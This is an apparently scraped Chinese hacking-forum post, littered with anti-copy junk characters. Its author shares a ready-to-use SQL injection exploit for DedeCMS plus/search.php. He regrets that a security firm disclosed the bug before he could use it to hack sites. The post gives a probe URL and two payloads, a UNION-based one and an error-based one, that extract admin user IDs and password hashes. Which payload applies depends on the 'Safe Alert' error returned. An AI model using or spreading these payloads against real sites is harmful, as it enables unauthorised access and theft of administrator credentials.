[通杀]dedecms plus/search.php 注入漏洞利用EXP

admin

转载不加作者名的没JJ
# h9 B1 L  V5 ]: u# a8 Y6 [
( b, P  S$ F3 f) d1 n4 D哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站  放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。

3 q; h) r; o+ m) p6 e) V既然已经发出来了，我就把我自己搞的exp发下吧。。唉。
6 t2 r  S# j3 ~% \1 ?: M
我一般是这样测试的：

提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
6 L5 u/ b; o* e
转载不加作者名的没JJ

9 x/ V, H# @# B& R/ j4 {作者：鬼哥
) N: o2 Q$ q& D2 k7 b

9 N( o; \2 N  o" p) V. U" E- ~( a
+ @& P( @% O- u3 m/ z# z- z, S( D4 `看结果如果提示
- I! q( w6 b8 v. r6 V
Safe Alert: Request Error step 2 !
: j& |) a7 W4 v  c
% G9 x  v* w1 H+ N那么直接用下面的exp
' Y6 h+ }* U, Z3 p3 P$ P; n& c
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

3 h4 a3 v6 q- @
看结果如果提示
. O( A& N" T8 c
Safe Alert: Request Error step 1 !

那么直接用下面的exp
$ _, U7 Y+ h6 J
! z3 R4 Z  I$ I4 nxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
, H8 ?; q4 A& l6 ~
% }8 L( H, s. _+ D
# E, i! |# {$ D! w$ M5 n* B如果正常显示证明漏洞不存在了。
6 b& b! h8 k6 M, w& @" }
转载不加作者名的没JJ